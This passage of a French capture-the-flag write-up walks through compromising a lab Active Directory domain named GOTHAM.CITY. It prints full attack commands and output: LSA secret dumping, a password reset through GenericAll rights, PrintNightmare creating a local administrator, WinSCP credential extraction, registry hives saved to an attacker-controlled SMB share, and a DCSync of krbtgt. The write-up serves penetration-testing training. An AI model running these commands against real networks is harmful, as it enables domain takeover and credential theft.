SMB         10.2.10.11      445    SRV01            GOTHAM\SRV01$:aes256-cts-hmac-sha1-96:09451b9f8ef39b89213092f6c48447902edd995fa2ce4f68f4271d3636909582
SMB         10.2.10.11      445    SRV01            GOTHAM\SRV01$:aes128-cts-hmac-sha1-96:b7ba32d1b091856bb0b74dcf62983132
SMB         10.2.10.11      445    SRV01            GOTHAM\SRV01$:des-cbc-md5:f83d76cb1623ce52
SMB         10.2.10.11      445    SRV01            GOTHAM\SRV01$:plain_password_hex:64004...5f00
SMB         10.2.10.11      445    SRV01            GOTHAM\SRV01$:aad3b435b51404eeaad3b435b51404ee:33e385f4ed222ac56d6b17af98f48d53:::
SMB         10.2.10.11      445    SRV01            localuser:password
SMB         10.2.10.11      445    SRV01            dpapi_machinekey:0x0ded16015c1b2d2804898ebcb137431065670996
dpapi_userkey:0xbf846a0b25a28c0df4668c0e30aaf3fd39b63bae
SMB         10.2.10.11      445    SRV01            _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_850d620d...6b4
SMB         10.2.10.11      445    SRV01            _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_850d6...0000
SMB         10.2.10.11      445    SRV01            GMSA ID: 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c NTLM: 2b541aa7ee43f2b82f222a2de948b7ac
SMB         10.2.10.11      445    SRV01            [+] Dumped 11 LSA secrets to /home/klemou/.nxc/logs/lsa/SRV01_10.2.10.11_2025-05-21_174856.secrets and /home/klemou/.nxc/logs/lsa/SRV01_10.2.10.11_2025-05-21_174856.cached

Parmi les secrets extraits, figure un identifiant de compte GMSA ainsi que son hash. Grâce à l’identifiant GMSA récupéré 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c, il est possible d’interroger le contrôleur de domaine afin d’en obtenir le nom exact :

$ nxc ldap DC01.GOTHAM.CITY -u joker -p '<3batman0893' --gmsa-convert-id 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c
LDAP        10.2.10.10      389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:GOTHAM.CITY)
LDAP        10.2.10.10      389    DC01             [+] GOTHAM.CITY\joker:<3batman0893
LDAP        10.2.10.10      389    DC01             Account: gmsa-robin$          ID: 850d620d73382edad7f95ccbd5b3ca0a61ccd5fc95fc82d2e5bf783029da060c

Le serveur LDAP répond positivement, et l’identifiant correspond au compte gmsa-robin$, confirmant qu’il s’agit bien d’un compte de service managé actif sur le domaine.

Latéralisation

Le compte gmsa-robin$ dispose de l’ACL GenericAll sur l’objet HARLEY.QUINN, ce qui permet de prendre le contrôle de ce dernier. En utilisant le hash NTLM de gmsa-robin$, il est possible de réinitialiser le mot de passe de l’utilisateur ciblé sans disposer de ses identifiants en clair.

Cette opération s’effectue simplement à l’aide du script Impacket suivant :

$ changepasswd.py -reset -altuser 'gmsa-robin$' -althash ':2b541aa7ee43f2b82f222a2de948b7ac' -newpass 'Chevalo123' GOTHAM.CITY/'HARLEY.QUINN'@DC01.GOTHAM.CITY
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies

[*] Setting the password of GOTHAM.CITY\HARLEY.QUINN as GOTHAM.CITY\gmsa-robin$
[*] Connecting to DCE/RPC as GOTHAM.CITY\gmsa-robin$
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Une fois l’action exécutée, HARLEY.QUINN est totalement compromis avec un mot de passe défini par l’attaquant : Chevalo123

SRV02 compromission

Comme précédemment, un scan RDP permet d’identifier que l’utilisateur HARKEY.QUINN dispose d’un accès RDP à la machine SRV02.

$ nxc rdp SRV02.GOTHAM.CITY -u HARLEY.QUINN -p Chevalo123
RDP         10.2.10.12      3389   SRV02            [*] Windows 10 or Windows Server 2016 Build 20348 (name:SRV02) (domain:GOTHAM.CITY) (nla:True)
RDP         10.2.10.12      3389   SRV02            [+] GOTHAM.CITY\HARLEY.QUINN:Chevalo123 (Pwn3d!)

La méthodologie appliquée sur SRV02 est identique à celle employée pour SRV01. Après énumération, un rapport HTML est généré afin de faciliter la lecture et l’analyse des résultats.

Lors de cette revue, un point notable a attiré l’attention : la machine autorise l’installation de drivers (au format DLL) par des utilisateurs non privilégiés aka PrintNightmare.

Une fois encore, itm4n propose une excellente ressource détaillant à la fois le mécanisme sous-jacent et les étapes d’exploitation : https://itm4n.github.io/printnightmare-exploitation/

PS C:\Users\HARLEY.QUINN\Downloads> Import-Module .\CVE-2021-34527.ps1
PS C:\Users\HARLEY.QUINN\Downloads> Invoke-Nightmare
[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\HARLEY.QUINN\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll"
[+] added user  as local administrator
[+] deleting payload from C:\Users\HARLEY.QUINN\AppData\Local\Temp\nightmare.dll
PS C:\Users\HARLEY.QUINN\Downloads> net user

User accounts for \\SRV02

-------------------------------------------------------------------------------
adm1n                    Administrator            DefaultAccount
Guest                    localuser                WDAGUtilityAccount
The command completed successfully.

PS C:\Users\HARLEY.QUINN\Downloads> net user adm1n
User name                    adm1n
Full Name                    adm1n
...
Local Group Memberships      *Administrators
Global Group memberships     *None
The command completed successfully.

Le compte adm1n ainsi créé (mot de passe : P@ssw0rd) offre un accès administrateur complet, utile pour les phases de post-exploitation

SRV02 post-exploitation

Lors de l’exploration de la machine, un fichier nommé winscp.reg a été repéré à la racine du disque. Ce fichier contient plusieurs clés de registre liées à l’application WinSCP.

Warning: Le fichier winscp.reg est en réalité une coquille laissée par le déploiement automatique du challenge. Il n’était pas présent lors du déroulement du CTF original.
La démarche prévue initialement consistait à identifier un raccourci vers WinSCP présent sur le bureau de l’administrateur local, ce qui devait orienter le joueur vers une extraction manuelle des credentials via la base de registre.

Heureusement, l’outil nxc dispose d’un module dédié à l’extraction des mots de passe WinSCP enregistrés dans la base de registre. Ces identifiants sont chiffrés, mais un déchiffrement permet de les récupérer en clair.

$ nxc smb SRV02.GOTHAM.CITY -u adm1n -p 'P@ssw0rd' --local-auth -M winscp
SMB         10.2.10.12      445    SRV02            [*] Windows Server 2022 Build 20348 x64 (name:SRV02) (domain:SRV02) (signing:False) (SMBv1:False)
SMB         10.2.10.12      445    SRV02            [+] SRV02\adm1n:P@ssw0rd (Pwn3d!)
WINSCP      10.2.10.12      445    SRV02            [*] Looking for WinSCP creds in Registry...
WINSCP      10.2.10.12      445    SRV02            [+] Found 1 sessions for user "localuser" in registry!
WINSCP      10.2.10.12      445    SRV02            =======harvey.dent@coin.gotham.city=======
WINSCP      10.2.10.12      445    SRV02            HostName: coin.gotham.city
WINSCP      10.2.10.12      445    SRV02            UserName: harvey.dent
WINSCP      10.2.10.12      445    SRV02            Password: X76IAZS!j'Czu,

Le module WinSCP permet de récupérer les identifiants de l’utilisateur harvey.dent, dont le mot de passe est X76IAZS!j'Czu,.
Comme indiqué précédemment, ce compte dispose des privilèges nécessaires pour compromettre le domaine.

Latéralisation

Warning: Lors du CTF, le compte harvey.dent ne disposait que d’un droit GenericAll sur le groupe Backup Operators. Dans cette version, le compte possède un GenericAll sur plusieurs objets critiques du domaine. Cette élévation de privilèges inattendue est probablement due à une délégation héritée via l’objet SD_HOLDER, dont les permissions ont été propagées à d’autres entités du domaine.

Pour la suite de l’exploitation, nous adoptons une approche RP en nous basant sur les droits initialement prévus lors du CTF.
Les membres du groupe Backup Operators, bénéficient de privilèges spécifiques leur permettant d’effectuer des sauvegardes du registre système via des appels RPC.

Dans un premier temps, afin de tirer parti des droits liés au groupe Backup Operators, il est nécessaire d’y ajouter un utilisateur contrôlé. Pour cela, nous utilisons l’outil BloodyAD, en tirant parti des privilèges GenericAll du compte harvey.dent.

À l’aide de harvey.dent, il est alors possible d’ajouter l’utilisateur harley.quinn au groupe cible, ce qui nous permet de poursuivre l’exploitation.

$ bloodyAD --dc-ip 10.2.10.10 -d GOTHAM.CITY -u harvey.dent -p "X76IAZS\!j'Czu,"  add groupMember "BACKUP OPERATORS" "HARLEY.QUINN"
[+] HARLEY.QUINN added to BACKUP OPERATORS

DC01 compromission

Grâce aux outils smbserver.py et reg.py de la suite Impacket, l’utilisateur harley.quinn, est en mesure de sauvegarder à distance des clés de registre critiques depuis le contrôleur de domaine DC01.GOTHAM.CITY.

$ reg.py GOTHAM.CITY/HARLEY.QUINN:Chevalo123@DC01.GOTHAM.CITY save -keyName 'HKLM\SAM' -o '\\192.168.1.105\MAGIE'
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SAM to \\192.168.1.105\MAGIE\SAM.save

$ reg.py GOTHAM.CITY/HARLEY.QUINN:Chevalo123@DC01.GOTHAM.CITY save -keyName 'HKLM\SYSTEM' -o '\\192.168.1.105\MAGIE'
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SYSTEM to \\192.168.1.105\MAGIE\SYSTEM.save

$ reg.py GOTHAM.CITY/HARLEY.QUINN:Chevalo123@DC01.GOTHAM.CITY save -keyName 'HKLM\SECURITY' -o '\\192.168.1.105\MAGIE'
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies
[!] Cannot check RemoteRegistry status. Triggering start trough named pipe...
[*] Saved HKLM\SECURITY to \\192.168.1.105\MAGIE\SECURITY.save

Une fois les fichiers SAM, SYSTEM et SECURITY transférés sur la machine de l’attaquant, il est possible d’extraire plusieurs informations sensibles à l’aide de l’outil secretsdump.py de la suite Impacket.

$ secretsdump.py LOCAL -sam /tmp/SAM.save -system /tmp/SYSTEM.save -security /tmp/SECURITY.save
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3f02e3dd627ec1900f06582e9ab8b974
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:52e6c515252f0487bdca397297ddec12:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:999...17c482d2c4
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:2e0bfc5c356e0007b1bbd8cf271a29fc
[*] DefaultPassword
(Unknown User):password
[*] DPAPI_SYSTEM
dpapi_machinekey:0xc561b8474b0d0001119c041c6fe927b2674f2356
dpapi_userkey:0x63a64167deae79e57162b9ea64f3b310b1d98ff7
[*] NL$KM
 0000   48 A9 42 4A 40 2E D8 07  57 62 4A 31 23 C1 65 02   H.BJ@...WbJ1#.e.
 0010   37 B6 5C 94 CC 9F 02 6C  C3 1E 78 B3 1A 5C 48 8A   7.\....l..x..\H.
 0020   1A 59 15 1F 60 63 62 F9  8B 3A 2E 62 9D 43 47 31   .Y..`cb..:.b.CG1
 0030   BB E0 F1 6C 90 2A DC DA  70 12 17 DB AD 4D 8F 43   ...l.*..p....M.C
NL$KM:48a9424a402ed80757624a3123c1650237b65c94cc9f026cc31e78b31a5c488a1a59151f606362f98b3a2e629d434731bbe0f16c902adcda701217dbad4d8f43
[*] Cleaning up...

Et voilà, il ne reste plus qu’une étape pour conclure la compromission du domaine : exploiter le hash de l’administrateur récupéré précédemment afin d’effectuer un DCSync.

$ secretsdump.py -hashes ':52e6c515252f0487bdca397297ddec12' -just-dc-user krbtgt Administrator@DC01.GOTHAM.CITY
Impacket v0.13.0.dev0+20250508.104819.fde4265a - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:beb984c951e28db8b8375bba747e7653:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:dc0d63c0573380053f5b5583b9671b8847fb3e46c7091181cc534ca28bb44f54
krbtgt:aes128-cts-hmac-sha1-96:7a20bf88597b160402090560b9264b78
krbtgt:des-cbc-md5:40a13d137994b6a1
[*] Cleaning up...


Un autre write-up Barbhack : Pwn – Voice ID

Auteur

Article écrit par Clément Viard alias KlemouLeZoZo, alternant en Test d’Intrusion chez ACCEIS.